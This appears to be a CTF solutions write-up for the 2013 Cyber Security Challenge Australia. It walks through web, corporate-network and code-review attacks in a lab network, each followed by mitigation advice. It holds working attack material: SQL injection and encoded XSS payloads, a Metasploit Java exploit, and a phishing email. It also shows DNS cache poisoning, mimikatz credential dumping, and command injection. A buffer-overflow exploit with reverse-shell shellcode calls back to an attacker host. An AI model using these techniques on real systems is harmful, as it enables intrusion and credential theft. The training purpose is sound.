Australian Government


# 2013 Cyber Security Challenge Australia

## Solutions Write-up

## Web Penetration Testing

### 1.1) Find the flag that is hidden in a secret document.

Running w3af over the website reveals a couple of interesting results.

- There is a possible XSRF vulnerability in the news ajax page.
- There is a possible SQL injection vulnerability in the register page Phone field.
- The robots.txt exposed an administration page /admin
- There are hidden files under the /uploads directory, specifically "secret.txt"

The /uploads/secret.txt contains the flag: **BeatCapitalLaborFinland733**

### 1.1.1) What advice would you recommend to best mitigate information leakage?

Most correctly answered: Configuration hardening with best practices
While disabling directory listing is a good start, proper authentication should be implemented to protect documents.

### 1.2) Determine how to activate a new user without the web administrator's verification. Log into the website with this user and retrieve the flag.

After attempting to register a user, we are prompted that the account is waiting administrator verification, so it won't be as simple as logging in and we need to activate the user without administrator input.

We manually confirm the SQL Injection identified from the w3af scan in the question 1.1 is not a false positive by injecting "z'0" into the phone field when registering a user.
The error returned:

```
DB ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near 'z&quot;0', 0)' at line 4
```

At this point, it is guessed that the backend SQL query is something similar to:

```
INSERT into ????? VALUES (??????,'phone',0);
```

At a guess, remembering our objective, changing that 0 to a 1 should be interesting. It may be either a flag specifying account activation or maybe a flag specifying an admin account.

To modify this field we need to change the 0 to a 1 while keeping the SQL query valid. We send a POST request to the server with the following parameters:

```
lastName=Smith&password=password&email=user%40email.com&firstName=John&phone=', 1);#
```

With the injection into the phone field the SQL query sent to the server will be something like the one below. It will remain valid as all of the characters after the # will be treated as a comment.

```
INSERT into ????? VALUES (?????,'', 1);# ‘, 0);
```

Attempting to login with the user credentials reveals that the field was an account activation field. The flag is on the first page and is: **PortugalUntilRequireRest233**

### 1.2.1) What advice would you recommend to best mitigate SQL Injection?

Parameterised queries - implementing parameterised queries completely mitigates this class of vulnerabilities, as user input is inserted into predefined queries and escaping is no longer possible.

## 1.3) Retrieve the flag from the administrator's page.

After logging in as a user from the previous question, we noticed that the recent activity is recorded, including two other persons who are visiting the site regularly:

```
Recent Activity
    Rob McLean - 2m ago
    Ryan Wallace - 2m ago
    John Smith - <1m ago
```

We manually audited the web site by inserting common SQL injection and XSS strings into fields and determined that the submit news form doesn’t properly sanitize the user input for the Title field before displaying it to users on the news page. This allows us to craft a XSS attack that will target the other users that are currently using the web site.

Unfortunately, cookies are secured using HttpOnly and cannot be stolen using simple javascript. However, the submit news form doesn’t seem to have CSRF protection (tokens). Combining this with XSS should allow us to leak information from Rob McLean and Ryan Wallace.

To determine who is an admin and what functions they have available, this script will use jQuery and leak the admin web page that was discovered in robots.txt in our initial w3af scan.

```
<script>$.get("/admin", function(data) { $.post("news.php", { title: "leaked", content: data });
});</script>
```

A first test of inserting that script into the submit news title field shows us that quotes are stripped. We can use Javascript’s eval and fromCharCode() functions to remove our double quotes completely. The script now looks as follows.

```
<script>eval(String.fromCharCode(36,46,103,101,116,40,34,47,97,100,109,105,110,34,44,32,102,117,110,99,1
16,105,111,110,40,100,97,116,97,41,32,123,32,36,46,112,111,115,116,40,34,110,101,119,115,46,112,104,112,
34,44,32,123,32,116,105,116,108,101,58,32,34,108,101,97,107,101,100,34,44,32,99,111,110,116,101,110,116,
58,32,100,97,116,97,32,125,41,59,32,125,41,59))</script>
```

After we submit the script in the Title field we wait for a few minutes, and there is a post from Rob McLean. Looking at the data, it shows us the administrative functions available to Rob McLean and it also shows the list of users, including their user ids. Both of these will come in handy on the next question.

```
javascript:grantAdmin(3, this)
javascript:loadUser(3)
javascript:activateUser(8, this)
```

More importantly, the data posted contains the flag: **UranusValueSendDone968**

### 1.3.1) What advice would you recommend to best mitigate cross site request forgery?

Generating a unique form token will prevent CSRF from occurring. However, since this challenge was solvable by using only XSS, the solution of sanitise user input was also accepted.
Of course another mitigation solution would be to escape all data from the database.

## 1.4) Retrieve the CEO's password hash.

To start this question we thought it would be useful to grant administrator permissions to our created account.
We modified our XSS script to grant administration to a specific account. We got our userid 851 from the user list returned in the last question.

```
$.post("/admin/grant.php", { id: 851 })
```

After encoding to remove quotes, we submitted the following data into the Title field of the Submit news form.

```
<script>eval(String.fromCharCode(36,46,112,111,115,116,40,34,47,97,100,109,105,110,47,103,114,97,110,116
,46,112,104,112,34,44,32,123,32,105,100,58,32,56,53,49,32,125,41))</script>
```

After waiting a few minutes, our account was granted administrator permissions, giving us access to the /admin page. Also shown on the admin page was the familiar flag from the last question.

We identified that there was a user information page at /admin/users.php that returned information about users, given their ID. Initial brief manual tests didn't show any obvious issues in the page, however as this was the newly exposed functionality it made sense that there was an issue here.

We decided to utilize sqlmap to perform an automated audit of the users.php page. This tool would test for vulnerabilities in a much shorter time than could be done manually.
The main gotcha we faced here is that the user information page was only available to logged in administrators, so it was important that sqlmap was provided with a valid logged in session cookie.

We copied from request from the chrome web developer extension into a file and loaded it in sqlmap. We then waited for sqlmap to perform its magic.

```
#> python sqlmap.py -r /root/admin-user-request.txt
```

sqlmap returned the following output identifying a blind sql injection vulnerability in the ID field of users.php that could be exploited using time delay functions:

```
---
Place: POST
Parameter: id
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=2 AND SLEEP(5)
---
```

Once we knew the vulnerability existed in users.php we needed to determine the names of the tables in the backend SQL database. To do this we ran sqlmap with --tables (sqlmap will resume the session without needing to rescan the page):

```
#> python sqlmap.py -r /root/admin-user-request.txt --tables
[16:59:06] [INFO] retrieved: CySCA
[16:59:33] [INFO] fetching tables for databases: 'CySCA, information_schema'
[16:59:33] [INFO] fetching number of tables for database 'CySCA'
[16:59:33] [INFO] retrieved: 3
[16:59:38] [INFO] retrieved: activity
[17:00:30] [INFO] retrieved: news
[17:00:58] [INFO] retrieved: user
```

Once we had identified the that the user table in database CySCA was of interest, we enumerated a number of its columns using the common-columns functionality of sqlmap:

```
#> python sqlmap.py -r /root/admin-user-request.txt --common-columns -D CySCA -T user
[17:06:27] [INFO] retrieved: email
[17:07:02] [INFO] retrieved: last_name
[17:07:24] [INFO] retrieved: password
[17:09:51] [INFO] retrieved: admin
[17:10:14] [INFO] retrieved: phone
[17:10:16] [INFO] retrieved: salt
[17:16:58] [INFO] retrieved: active
[17:20:01] [INFO] retrieved: phone
[17:20:01] [INFO] retrieved: email
```

Finally, knowing the table, column name and CEO's user ID from the /admin page, we dumped the CEO's password hash using sqlmap.

```
#> python sqlmap.py -r /root/admin-user-request.txt -D CySCA --sql-query="SELECT \`password\` from user
where id=2"
[*] 04bb455427b0bd854811c80e723e8d3f
```

The flag was the CEO's password hash: **04bb455427b0bd854811c80e723e8d3f**

# CORPORATE PENETRATION TESTING

## 2.1) GAIN ACCESS TO A WORKSTATION ON THE CORPORATE NETWORK AND RETRIEVE THE FLAG FROM THEIR BROWSER'S SAVED PASSWORDS.

We recovered an image from the synergise.cysca website in the uploads folder. This image contained information about the network layout of the synergise.cysca network.

With this information, we scanned the listed IP ranges, however we didn't receive any responses. We thought it was likely that the internal network was firewalled off.

```
#> nmap -Pn 172.16.1.0/24 10.10.10.0/24
```

With no responses we looked for other methods to gain access to the internal network. We looked at the public synergise.cysca website and noted there was an email address (sburns@synergise.cysca) receiving job applications.
We also noted that in the challenge FAQ there was an entry talking about simulated users.

With these two pieces of information noted we tried sending a test email to sburns@synergise.cysca from the external email gateway we were provided and received a response asking for a resume as a weblink or an attached document.

At this point, sburns could be exploited with a doc file with an embedded macro (from the recruit.docm) or a Java 7 exploit (as sburns was running Java 7u5).

We decided to use a Metasploit payload to try exploit Java 7, as it would be faster to setup and test.

We loaded metasploit and used exploit/multi/browser/java_jre17_exec. We also used the java meterpreter reverse_tcp payload. We decided to use port 443, as we assumed that as a security company, synergise would have disallowed access to non-standard ports such as 4444 from internal machines.

```
#> msfconsole

msf > use exploit/multi/browser/java_jre17_exec
msf > set SRVHOST 192.168.16.100
msf > set SRVPORT 80
msf > set PAYLOAD java/meterpreter/reverse_tcp
msf > set LHOST 192.168.16.100
msf > set LPORT 443
msf > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.16.100:443
[*] Using URL: http://192.168.16.100:80/xOc16SyFo3r
[*] Server started.
```

We then crafted the following email to sburns@synergise.cysca from the external webmail interface, with a link to our Metasploit provided URL.

```
To: sburns@synergise.cysca
Subject: Application
Hi Sarah,

I'm interested in joining Synergised Cyber Cloud.

As requested, my application is available at this link:
http://192.168.16.100:80/xOc16SyFo3r
```

```
Regards
Eric
```

A few minutes later, the exploit is executed on sburn's workstation and we had a meterpreter running inside the synergise network.

```
[*] 10.10.10.203     java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 10.10.10.203     java_jre17_exec - Sending Applet.jar
[*] 10.10.10.203     java_jre17_exec - Sending Applet.jar
[*] 10.10.10.203     java_jre17_exec - Sending Applet.jar
[*] Sending stage (30216 bytes) to 10.10.10.203
[*] Meterpreter session 5 opened (192.168.16.100:443 -> 10.10.10.203:53347) at 2013-04-16 17:41:10 -0400

msf > sessions
Active sessions
===============

  Id  Type                   Information      Connection
  --  ----                   -----------      ----------
  5   meterpreter java/java  sburns @ desk01  192.168.16.100:443 -> 10.10.10.203:53347 (10.10.10.203)
```

As the Java meterpreter doesn't support vnc through Metasploit we will create a native meterpreter that will connect back to our machine on port 25.

```
#> msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.16.100 LPORT=25 X > badfile.exe
```

We then setup a listener on port 25 to listen for our native meterpreter. After setting up the listener, we upload the native meterpreter to desk01 and execute it.

```
msf > jobs -K
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LPORT 25
msf > set LHOST 192.168.16.100
msf > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.16.100:25
[*] Starting the payload handler...


msf > sessions -i 5
meterpreter > sburns @ upload /root/corp/badfile.exe badfile.exe
meterpreter > execute -f badfile.exe
Process  created.

[*] Sending stage (751104 bytes) to 10.10.10.203
[*] Meterpreter session 6 opened (192.168.16.100:25 -> 10.10.10.203:64691) at 2013-04-16 17:53:01 -0400

meterpreter > background
```

Now that we have a native meterpreter session running on sburn's machine we use it to start a VNC reverse stager to connect back to our local machine on port 80.

```
msf > sessions -i 6
meterpreter > run vnc -p 80
[*] Creating a VNC reverse tcp stager: LHOST=192.168.16.100 LPORT=80)
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Users\sburns\AppData\Local\Temp\aPxrmQieCvpuT.exe (must be deleted
manually)
```

```
[*] Executing the VNC agent with endpoint 192.168.16.100:80...
```

Now that we have GUI access to sburn's desktop we look on the desktop and in the Documents folder and don't find the flag. We see that the Firefox Browser is currently open, so we check the saved passwords and find the flag: **VenusPeopleBeginOcean501**

### 2.1.1) What advice would you recommend to best mitigate a targeted email spear phishing attempt?

This was the best response given:

> *The logic behind putting patch applications above all else, is that as long as your applications are fully up to date, theoretically no exploits should be successfully (with the exception of zero-day exploits, and in that case it is arguable that nothing can really stop them).*
>
> *Additionally, the DSD releases a Top 35 list every year, listing what they regard as the most effective 35 mitigations that can be implemented. This document listed Patch applications as 1st in 2011 and 2nd in 2012.*
>
> *While it is undeniable that educating users can reduce incidence, and email content filtering can automate the removal of things such as macros within documents and follow links to see where they go, neither of these will protect a system that has an inexperienced or naive user. Patched applications that are no longer vulnerable to the exploit will.*

## 2.2) Gain access to a privileged account on the corporate network and retrieve the flag from their Desktop.

We looked around sburns workstations and determined there were two methods to gain further access into the target network.

The first method involved exploiting DNS cache poisoning and using evilgrade to send malicious upgrades to Notepad++. We determine Notepad++ was installed as it was available on the software network share. In addition to this, there was also an email sburns had received from an external security conscious person highlighting a 'DNS issue'.

The second method involved replacing the git executable located on the software network share. We determined that this file was being executed from the network share due to an execution log present that showed an administrative user running git every five minutes.

The git executable's file permissions allowed any user to change the permissions for the file. With the ability to change the file permissions, all that is needed is to grant sburns write access to the git.exe file with a tool such as icacls and then overwrite the git.exe file. After the overwrite, within five minutes the file will be executed by our administrative user.

To exploit the DNS cache poisoning vulnerability it will take two steps. Firstly, we will have to poison the notepad-plus.sourceforce.net DNS entry to point to our controlled system. Secondly, we will have to use EvilGrade to serve an update to notepad++ containing a metasploit payload.

We use the network diagram located in the uploads folder of the synergise.cysca server in the web penetration test section as a guide to determine which systems to perform the attack against. We decide to poison the cache record for notepad-plus.sourceforge.net on the ns.synergise.cysca(172.16.1.10) DNS server.

To achieve this, we spoof DNS responses from mail.external.cysca(192.168.16.230) while sending many packets to brute force the transaction ID. Our task is made easier by two factors; Firstly, the server doesn't use source port randomization due to NAT restrictions and secondly, it supports external recursive DNS requests for non-authoritative domains.

Unfortunately, we cannot use the metasploit module as it uses the internet to perform reconnaissance against the targeted DNS server. Instead, we utilise the scapy packet manipulation framework to poison the DNS record.

We will use two terminals for the next step.

In the first terminal, we will create a DNS request for the notepad-plus.sourceforge.net record and send it to ns.synergise.cysca (172.16.1.10), causing a recursive request for notepad-plus.sourceforge.net to mail.external.cysca(192.168.16.230).

```
## TERMINAL 1 ##
#> scapy
>>> dns = IP(dst="172.16.1.10")/UDP(dport=53)/ \
... DNS(rd=1,qd=DNSQR(qname="notepad-plus.sourceforge.net"))
>>> sr(dns,inter=5,retry=200,timeout=10)
Begin emission:
.
```

In a second terminal, we will send DNS responses to 172.16.1.10 spoofed from 192.168.16.230 with random transaction IDs. Eventually, a fake transaction ID will match the expected transaction ID and the server will accept the response as valid.

```
## TERMINAL 2 ##
#> scapy
>>> while 1:
...   for x in range(65535):
...    dns = IP(dst="172.16.1.10",src="192.168.16.230")/UDP(dport=53,sport=53)\
...     /DNS(id=x,qr=1,aa=1,rd=1,ra=1,ancount=1, \
...     qd=DNSQR(qname="notepad-plus.sourceforge.net"), \
...     an=DNSRR(rrname="notepad-plus.sourceforge.net",ttl=1800, \
...     rdata="192.168.16.100"))
...    send(dns)
```

This may take 5-30 minutes depending on your luck and connection.

We can see the cache entry is successfully poisoned using dig.

```
#> dig @172.16.1.10 notepad-plus.sourceforge.net
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> @172.16.1.10 notepad-plus.sourceforge.net
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47988
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;notepad-plus.sourceforge.net.       IN      A

;; ANSWER SECTION:
notepad-plus.sourceforge.net. 1002 IN A      192.168.16.100

;; Query time: 27 msec
;; SERVER: 172.16.1.10#53(172.16.1.10)
;; WHEN: Tue Apr 16 19:39:26 2013
;; MSG SIZE  rcvd: 62
```

Next we configure evilgrade's notepadplus module to serve notepad++ updates that will execute the native meterpreter exe that was generated in the previous question.

```
#> evilgrade
evilgrade > configure notepadplus
evilgrade(notepadplus)> set agent /root/corp/badfile.exe
```

```
evilgrade(notepadplus)> start
[16/4/2013:19:44:5] - [WEBSERVER] - Webserver ready. Waiting for connections …
```

In another terminal, in metasploit, we start the listener for the native meterpreter payload. The process for this is the same as the last question.

After approx five minutes we were presented with the following output in our evilgrade terminal.

```
[16/4/2013:19:45:59] - [DEBUG] - [WEBSERVER] - [10.10.10.207] - Connection recieved...
[16/4/2013:19:45:59] - [DEBUG] - [WEBSERVER] -[10.10.10.207] - Packet request: "GET
/commun/update/getDownLoadUrl.php?version=4.8.2 HTTP/1.1\r\n" "Host: notepad-
plus.sourceforge.net\r\n""Accept: */*\r\n""\r\n"
...
```

At the same time, metasploit created a meterpreter session for our native meterpreter.

```
[*] Started reverse handler on 192.168.16.100:25
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 10.10.10.207
[*] Meterpreter session 8 opened (192.168.16.100:25 -> 10.10.10.207:59791) at 2013-04-16 19:46:09 -0400

msf> sessions
Active sessions
===============

  Id  Type                   Information               Connection
  --  ----                   -----------               ----------
  8   meterpreter x86/win32  SYNERGISE\saundk @ DESK02  192.168.16.100:25 -> 10.10.10.207:59791
(10.10.10.207)
```

We connected to the meterpreter sessions and located the flag file in saundk's Desktop folder.

The flag file contained the flag: **FallMainForceWork377**

## 2.2.1) What advice would you recommend to best mitigate DNS cache poisoning?

Best response given:

> *DNS should not be trusted for secure name resolution, even on the internal network. Where it must be used, don't trust any information passed to the network from untrusted DNS servers including ignoring irrelevant records that were not specifically queried. Additionally, source ports should be randomised and the nonce generated, both with cryptographically secure random number generators. Increase the time that records are cached to minimise the window of opportunity for a potential attacker.*

## 2.3) Gain access to the Domain Controller and retrieve the flag from the CEO's roaming profile.

To start, we used the meterpreter on DESK02 running as saundk. We listed processes to see if any interesting processes were running. We spotted sqlservr.exe running with the account SYNERGISE\MSSQL2012 which was a member of the Domain Admins group.

```
msf> sessions -i 8
meterpreter> ps
 1512  508   sqlservr.exe       x86   0           SYNERGISE\MSSQL2012          c:\Program
Files\Microsoft SQL Server\MSSQL11.SQLEXPRESS\MSSQL\Binn\sqlservr.exe
```

At this point there are many many ways to continue. You could impersonate the MSSQL2012 access token and gain access to //dc01/c$ and access the network shares from there, you could dump the LSA Secrets where the service account credentials are stored, or you could dump the active login session credentials for MSSQL2012. We decided to dump the active login session credentials with mimikatz which is what we will show below.

We downloaded mimikatz and uploaded it to DESK02. We then used meterpreter's getsystem command to obtain SYSTEM access on DESK02 which is required for mimikatz to dump login session credentials.

```
meterpreter> getsystem
...got system (via technique 1).
```

Once we are system, we then dumped the session credentials using mimikatz.

```
meterpreter> shell
C:\Windows\System32> mimikatz
mimikatz # sekurlsa::logonPasswords full
        kerberos
         * Utilisateur  : MSSQL2012
         * Domaine      : SYNERGISE.CYSCA
         * Mot de passe : S3rV3R2012Inst!
```

With the credentials for the MSSQL2012 account we now have Domain Administrator access for the SYNERGISE.CYSCA domain. This means we can RDP into the DC or use psexec to upload another meterpreter to the domain controller.

We used psexec to upload another meterpreter to the domain controller, and used that meterpreter to browse the sub folders in C:\Profiles, locate the CEO's roaming profile and locate the flag file in his documents folder.

The flag contained in rmaclea.V2's documents folder was: **DreamBirdProblemTwelve306**

### 2.3.1) What advice would you recommend to best mitigate privilege escalation?

Minimise user and service privileges
The developer should avoid using local administrator privileges when not required (such as running git). This will prevent application exploitation from giving an attacker additional privileges.
MSSQL should be a service account that only has privileges necessary for the local workstation, not domain admin.

# VSTP Code Review

## 3.1) There is a command injection vulnerability in the VSTP server code (vstp_server.py). Review the code and exploit the vulnerability to retrieve the flag from the ".garbage." file.

We need to locate the vulnerability. To do this we review the vstp_server.py file, and in the moveFile function we identify a vulnerable call to os.system() where the arguments arent escaped. Reaching this condition requires the first parameter to be an existing file or folder and the second parameter to point to a writable location.

```
def moveFile(self,session,*args):
        # Removed non relevant lines for compactness

        # Make sure the user has the necessary read and write permissions
        if self.pathIsReadable(uid,gid,sourcePath) and
self.pathIsWritable(uid,gid,os.path.dirname(targetPath)):
                # Move the file using bash. Return OK if exit status is 0
                # VULNERABILITY: Unsanitized arguments passed in call to system
                if (os.system("mv "+ sourcePath + " "+targetPath) == 0):
                        return OK
                else:
                        return FAIL
        else:
                return FAIL
```

With the vulnerable system call we can inject arbitrary commands by placing them after the initial command. Let's see if the .garbage file is in the current directory. We create a placeholder folder so that the file/folder existence conditions are met.

```
VSTP> mkdir test
OK
VSTP> mv test test1; ls > test2
OK
VSTP> ls
f->  test2            69
d->  test1
```

The garbage file was not in the current folder, so we need to locate it.

```
VSTP> mv test1 test; locate .garbage. > test3
OK
VSTP> get test3
OK
cat test3
/home/vstp/.workspace/.garbage.
```

We create a script locally that when run will tar up all the files in the /home/vstp/.workspace/ folder.

```
#> echo 'tar zcf ./dump.tar.gz /home/vstp/.workspace' > copy.sh
```

We then upload the file to the server using the push command. We then execute the tarballing script and retrieve the tarred files from the vstp .workspace folder.

```
VSTP> push copy.sh copy.sh
OK
VSTP> mv test1 test; sh copy.sh
OK
VSTP> get dump.tar.gz
OK
```

We extract the files from dump.tar.gz on our local machine.

```
#> tar zxvf dump.tar.gz
home/vstp/.workspace/
home/vstp/.workspace/example_session.pcap
home/vstp/.workspace/.garbage.
```

Looking in the .garbage. file reveals the flag: **WrittenSpendCenterJumped229**

### 3.1.1) What advice would you recommend to best mitigate remote code injection?

Implementing the native function to move files would mitigate this vulnerability, as the Python native function only allows the move function and no other injected command.

## 3.2) Located with the previous flag is a PCAP file containing a VSTP session. Exploit the encryption vulnerability in the server code to decrypt the session, extract the file transferred and retrieve the flag.

To locate the vulnerability that will allow us to decrypt the VSTP session we review the vstp_server.py code. We look at the generateSessionKey function and notice that a poor implementation means that the AES key is mostly predictable if the date and client IP are known.

```
def generateSessionKey(self,ip):
        """Generate a secure key to use in AES encryption."""
        # Get the current date in yyMMdd format
        date = strftime("%Y%m%d")
        # Strip the periods from the IP string
        ip = ip.replace(".","")
        # Set the session key to our name + date + ip
        key = "VSTPSERVER"+date + ip
        # Add randomness to the key to make it very secure and the required length
        self.sessionKey =  key + str(randint(10,74))+
                        urandom(self.keyLength - (len(key)+2))
```

Notice that the session key will have the pattern “VSTPSERVER”+Date+IP+NN+URANDOMPADDING.

Knowing the weakness in the AES key generation algorithm we can now attempt to decrypt a session, brute forcing the key data.

We open the example_session.pcap retrieved from the tarball from question 3.1 in Wireshark and look at the data packets.

```
29      31.348340       172.16.0.240    172.16.0.237    TCP     114     52981 > rrac [PSH, ACK] Seq=716
Ack=903 Win=15808 Len=48 TSval=297525 TSecr=71868
30      31.385170       172.16.0.237    172.16.0.240    TCP     1514    rrac > 52981 [ACK] Seq=903 Ack=764
Win=15648 Len=1448 TSval=74573 TSecr=297525
```

We can see that there is a packet from the client to the server of length 114 bytes and then a number of responses from the server of length 1514. At this point we will assume that the command from the client was a “get” command and the response is the file content. This assumption will assist us when determining if we have found the correct key when brute forcing.

Additionally, from the packet capture we can determine the date and the client IP. So that our key will be:

VSTPSERVER20130221172160240+NN+XXX

Where:

NN - a number between 10 and 74

XXX - 3 bytes generated from urandom.

We extracted the data from the client to server packet and put it in the brute forcing script we wrote to recover the key.

```
data =
"\xa3\x4e\x8a\x03\xb3\x62\x1d\xa6\xd8\xd6\x96\xbc\xea\xc2\xa7\x66\xba\x68\xea\x00\xb5\x67\x84\x14\x2a\x2
d\xf3\xcb\xdc\xf7\x20\xbf\xec\xb5\x8b\x36\xf8\xd4\xd4\xe7\x9b\xf4\x84\xc2\xb2\x80\x22\xb8"

# 8 threads in parallel
p = Pool(8)
p.map(calc, range(10,74))

# function to test brute force
def calc(y):
        date = '20130221'
        ip = '172160240'
        key = 'VSTPSERVER' + date + ip

        cipher = AESEncryptionHandler(32)

        # test all values for last 3 bytes
        for x in range(1<<24):
                i = x & 0x0000ff
                j = x>>8 & 0x0000ff
                k = x>>16 & 0x0000ff

                testkey = key + str(y) + chr(i) + chr(j) + chr(k)
                cipher.sessionKey = testkey
                decipher = cipher.AESDecryptString(data)
                if decipher.startswith('get '):
                        print testKey
```

About 5-10 minutes later, we had recovered the session key.

Once the key was recovered, we extract the data from the server to client packets. We use the recovered key to decrypt this extracted data. After the decryption, we were left with a file containing base64 encoded data.

We decoded the base64 data and identified that is was a pdf document with the following commands:

```
#> cat vstp-out.raw | base64 -d > vstp-out-result.raw
#> file vstp-out-result.raw
vstp-out-result.raw: PDF document, version 1.5
```

The pdf contained the flag: **ArmsHungerGiftQuick149**

### 3.2.1) What advice would you recommend to best mitigate brute force attacks on the encryption?

Increase transaction entropy - Make sure the session key is entirely random and at least 128bits, preferably 256bits. This will increase the computation time to brute force the key

### 3.3) There is a buffer overflow vulnerability in the Snort VSTP Preprocessor code. Review the code and exploit the vulnerability to retrieve the flag from the snort home directory.

To locate the buffer overflow vulnerability in the Snort VSTP Preprocessor code we reviewed the C source code in filename.c. We identified a case in the preprocessor that looked for the string "----" and then used strcpy to copy the string in p->payload to the buffer gpgBlock without first performing a length check allowing us to overflow the buffer.

```
/* If the payload contains a GPG header, log the full
```

```
 GPG message */
else if (strstr(tmp,GPG_HEADER_STR)) /* GPG_HEADER_STR = "----" */
{
        _dpd.logMsg("Potential GPG Block:\n");
        char gpgBlock[799];
        /* VULNERABILITY:  Buffer overflow due to no length check of p->payload */
        strcpy(gpgBlock,(const char *)p->payload);
        _dpd.logMsg(gpgBlock);
}
```

To develop our buffer overflow exploit, we installed snort using the supplied script and ran it locally in a terminal that we will identify as terminal 1.

```
## TERMINAL 1 ##
#> snort -i eth1 -c /etc/snort/snort.conf
```

We needed to determine how far into the buffer we overwrite eip, we used metasploits pattern_create.rb script to generate a unique string that would locate this offset. We also had to prepend "----" so that the vulnerable code path was taken by snort.

```
## TERMINAL 2 ##
#> /pentest/exploits/framework/tools/pattern_create.rb 1000
returns pattern <a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8...>
#> echo '----a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8...' | nc 192.168.0.40 5678
```

After running this echo command in terminal 2 snort will crash and we will be returned to the command line in terminal 1. We determined that eip was 835 bytes into the generated pattern string by extracting the segfaulting ip from the syslog segfault entry and plugging the value into metasploits pattern_offset.rb script.

```
## TERMINAL 1 ##
tail /var/log/syslog
kernel: [31303.100075] snort[32752]: segfault at 62423862 ip 62423862 sp bfffec70 error 14

## TERMINAL 2 ##
/pentest/exploits/framework/tools/pattern_offset.rb 62423862 1000
835
```

Now that we knew how far into the string eip was overwritten we needed to find the address of our shellcode so we could return execution to it. To do this we opened snort in using gdb, and sent the ---- value plus 839 A's. Once snort crashed, we were returned to gdb's shell.

```
## TERMINAL 1 ##
#> gdb `which snort`

## TERMINAL 2 ##
#> python -c 'print "----"+"A"*839' | nc 192.168.0.40 5678

## TERMINAL 1 ##
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)
```

In gdb we looked for our string on the stack by looking at the current stack pointer and subtracting 800 from it. We can see many A's which means that our string has characters at this location, we will use this as our return address.

```
## TERMINAL 1 ##
(gdb) x/4x $esp-800
0xbffff114:    0x41414141    0x41414141    0x41414141    0x41414141
(gdb) q
```

Now we have established how far into our exploit buffer eip is overwritten and a suitable return address to use, we can add shellcode that will create a shell on the remote machine and connect to a listener on our local machine. We used metasploit to generate shellcode of the linux/x86/shell_reverse_tcp payload with settings to exclude standard bad characters.

```
## TERMINAL 2 ##
msf  payload(shell_reverse_tcp) > generate -b '\x00\x0a\x0d'
# linux/x86/shell_reverse_tcp - 98 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LHOST=192.168.16.100, LPORT=4444,
# ReverseConnectRetries=5, ReverseAllowProxy=false,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
buf =
"\xd9\xea\xd9\x74\x24\xf4\x5f\x29\xc9\xb8\xdb\x17\xf4\x92" +
"\xb1\x12\x31\x47\x1a\x83\xc7\x04\x03\x47\x16\xe2\x2e\x26" +
"\x2f\x65\x33\x1a\x8c\xd9\xd9\x9f\x9b\x3f\xad\xc6\x56\x3f" +
"\x96\x58\x01\x80\x80\x75\xb5\x66\xb8\x64\x69\x01\x6b\xed" +
"\x81\x9c\xdb\x78\x40\x5d\xb1\x1c\xdb\xaf\xc5\xb8\x5c\xf6" +
"\x75\x05\xae\x89\x3c\x03\xc9\xda\xd6\xdc\x06\xa8\x4e\x4b" +
"\x76\x2c\xe7\xe5\x01\x53\xa7\xaa\x98\x75\xf7\x46\x56\xf5”
```

We created a python script to combine the GPG prefix, the nop sled, eip, more nop sled and then the shell code. The nop sleds were used to compensate for any difference in return address between our system and the remote snort server.

```
shell =
"\xd9\xea\xd9\x74\x24\xf4\x5f\x29\xc9\xb8\xdb\x17\xf4\x92\xb1\x12\x31\x47\x1a\x83\xc7\x04\x03\x47\x16\xe
2\x2e\x26\x2f\x65\x33\x1a\x8c\xd9\xd9\x9f\x9b\x3f\xad\xc6\x56\x3f\x96\x58\x01\x80\x80\x75\xb5\x66\xb8\x6
4\x69\x01\x6b\xed\x81\x9c\xdb\x78\x40\x5d\xb1\x1c\xdb\xaf\xc5\xb8\x5c\xf6\x75\x05\xae\x89\x3c\x03\xc9\xd
a\xd6\xdc\x06\xa8\x4e\x4b\x76\x2c\xe7\xe5\x01\x53\xa7\xaa\x98\x75\xf7\x46\x56\xf5"
payload = '----'              # GPG
payload += "\x90"*(835-len(shell) - 200)-2   # NOP Sled
payload += “\xEB\x04” #Sled jump over eip
payload += "\x14\xf1\xff\xbf"        # Try to land in NOP sled
payload += "\x90"*200  # NOP Sled
payload += shell      # Shell code
print payload
```

We then listened on port 4444 using netcat in terminal 1, and sent the output of our payload.py script to the vstp server which then caused the snort server to be exploited and return a shell to our local system. We then output the .garbage file that was in the snort users home.

```
## TERMINAL 1 ##
#> nc -l -p 4444

## TERMINAL 2 ##
#> python payload.py | nc 172.16.1.20 5678

## TERMINAL 1 ##
whoami
snort

cat /home/snort/.garbage.
```

The .garbage. file contains the flag: **WorkersDollarWithoutDestroy885**

### 3.3.1) What advice would you recommend to best mitigate buffer overflow exploitation?

Use bounds checking functions - By using bounds checking functions and specifying the buffer length, this class of bugs is completely mitigated.

# MEMORY FORENSICS

All of the memory forensics questions were completed using the latest Volatility. Trunk version - Volatility Framework 2.3_alpha.

## 4.1) IDENTIFY THE MALICIOUS PROCESS ON THE COMPUTER.

Volatility requires a profile to perform correctly. We use the volatility plugin **imageinfo** to attempt to detect the profile and operating system.

```
#> python vol.py -f MEMORY.DMP imageinfo
Suggested Profile(s) : No suggestion (Instantiated with WinXPSP2x86)
```

Unfortunately, **imageinfo** didn't return any suggested profile, but we can still determine the profile, albeit with more manual work.

Firstly, we determined if it is a 32bit or 64bit OS using the linux file tool.

```
#> file MEMORY.DMP
